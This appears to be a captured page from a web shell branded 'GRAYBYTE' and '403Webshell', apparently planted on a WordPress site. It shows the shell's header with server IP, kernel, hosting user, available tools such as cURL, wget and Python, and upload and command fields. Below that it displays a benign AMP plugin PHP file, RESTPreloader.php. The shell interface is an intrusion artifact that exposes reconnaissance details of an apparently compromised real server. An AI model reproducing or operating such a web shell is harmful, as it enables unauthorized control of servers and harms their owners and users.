- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 162.0.215.126  /  Your IP : 216.73.216.224
Web Server : LiteSpeed
System : Linux business105.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : tektomgb ( 586)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tektomgb/tektk77play.lat/wp-content/plugins/amp/src/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tektomgb/tektk77play.lat/wp-content/plugins/amp/src/Admin/RESTPreloader.php
<?php
/**
 * Class RESTPreloader.
 *
 * @package AmpProject\AmpWP
 */

namespace AmpProject\AmpWP\Admin;

use AmpProject\AmpWP\Infrastructure\Service;

/**
 * Preloads REST responses for client-side applications to prevent having to call fetch on page load.
 *
 * @package AmpProject\AmpWP
 * @since 2.0
 * @internal
 */
final class RESTPreloader implements Service {

	/**
	 * Paths to preload.
	 *
	 * @var array
	 */
	private $paths = [];

	/**
	 * Adds a REST path to be preloaded.
	 *
	 * @param string $path A REST path to cache for apiFetch middleware.
	 */
	public function add_preloaded_path( $path ) {
		// Delay adding the preload_data action hook until after a path is added.
		if ( empty( $this->paths ) ) {
			add_action( 'admin_enqueue_scripts', [ $this, 'preload_data' ], 99 );
		}

		if ( ! in_array( $path, $this->paths, true ) ) {
			$this->paths[] = $path;
		}
	}

	/**
	 * Preloads data using apiFetch preloading middleware.
	 */
	public function preload_data() {
		if ( ! function_exists( 'rest_preload_api_request' ) ) { // Not available pre-5.0.
			return;
		}

		$preload_data = array_reduce( $this->paths, 'rest_preload_api_request', [] );

		wp_add_inline_script(
			'wp-api-fetch',
			sprintf( 'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );', wp_json_encode( $preload_data ) ),
			'after'
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit